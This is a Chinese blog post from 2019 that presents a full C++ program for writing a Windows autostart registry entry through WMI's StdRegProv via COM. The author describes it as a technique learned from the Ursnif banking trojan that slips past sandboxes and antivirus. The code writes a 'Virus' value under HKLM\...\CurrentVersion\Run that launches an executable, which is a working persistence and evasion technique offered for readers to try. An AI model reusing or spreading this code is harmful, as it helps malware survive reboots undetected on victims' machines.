绕过安全软件设置注册表

1.前言

这个设置注册表的方式利用到了COM组件,这是我分析Ursnif银行木马时发现的一种利用方式,利用COM组件调用wmi设置注册表,如果用监控工具会看到设置注册表项的系统进程wmiprvse.exe。这里用了一些沙箱测试并没有检测出设置敏感注册表的行为,国内杀软也没爆出设置了敏感注册表的警告,具体就不详细说了,感兴趣的可以自己尝试一下。这个操作不知道有没有其他大佬写过,如有冲突望告知。

 

2.正文

这里就直接上代码了,主要是在run下设置一个键值,这里没有其他操作了,需要管理员权限运行,然后编译时要根据系统版本编译为x86或x64。

 1 #include<iostream>
 2 #include<comutil.h>
 3 #include<WbemIdl.h>
 4 #include<tchar.h>
 5 #include<Exdisp.h>
 6 #include<Winhttp.h>
 7 
 8 #pragma comment(lib,"Wbemuuid.lib")
 9 #pragma comment(lib,"comsuppw.lib")
10 
11 int _tmain(int argc, _TCHAR* argv[])
12 {
13   //初始化
14   HRESULT hres = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
15   if (FAILED(hres))
16   {
17     return 0;
18   }
19 
20   //实例化
21   IWbemLocator *pLoc = NULL;
22   hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc);
23   if (FAILED(hres))
24   {
25     CoUninitialize();
26     return 0;
27   }
28 
29   //连接到命名空间
30   IWbemServices *pSvc = NULL;
31   pLoc->ConnectServer(L"root\\default", NULL, NULL, 0, NULL, 0, 0, &pSvc);
32 
33   CoSetProxyBlanket(pSvc, 10, 0, 0, 3, 3, 0, 0);
34 
35   pLoc->Release();
36 
37   //获取对象StdRegProv
38   IWbemClassObject *pObject = NULL;
39   pSvc->GetObjectW(L"StdRegProv", 0, 0, &pObject, 0);
40 
41   //获取方法SetDWORDValue
42   IWbemClassObject *pInSignature = NULL;
43   pObject->GetMethod(L"SetStringValue", 0, &pInSignature, 0);
44 
45   //设置注册表项
46   _variant_t var1(L"2147483650");
47   pInSignature->Put(L"hDefKey", 0, &var1, CIM_UINT32);
48 
49   //设置路径
50   _variant_t var2(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
51   pInSignature->Put(L"sSubKeyName", 0, &var2, CIM_STRING);
52 
53   //设置项名
54   _variant_t var3(L"Virus");
55   pInSignature->Put(L"sValueName", 0, &var3, CIM_STRING);
56 
57   //设置值
58   _variant_t var4(L"D:\\test.exe");
59   pInSignature->Put(L"sValue", 0, &var4, CIM_STRING);
60 
61   IWbemClassObject *pOutParams = NULL;
62   pSvc->ExecMethod(L"StdRegProv", L"SetStringValue", 0, 0, pInSignature, &pOutParams, 0);
63 
64   pInSignature->Release();
65 
66   pObject->Release();
67 
68   pSvc->Release();
69 
70   return 0;
71 }

 

 

结果如图

 

3.对com的一些看法

对于COM没有很深的了解所以也不说太多。不过COM在安全方面的利用也开始慢慢多起来了,像玩转COM对象玩转COM对象(Part 2)中就利用到了COM进行一些骚操作。如果有对COM有兴趣的,就加群一起讨论一下吧。

posted @ 2019-06-17 22:03  QKSword  阅读(945)  评论(0编辑  收藏  举报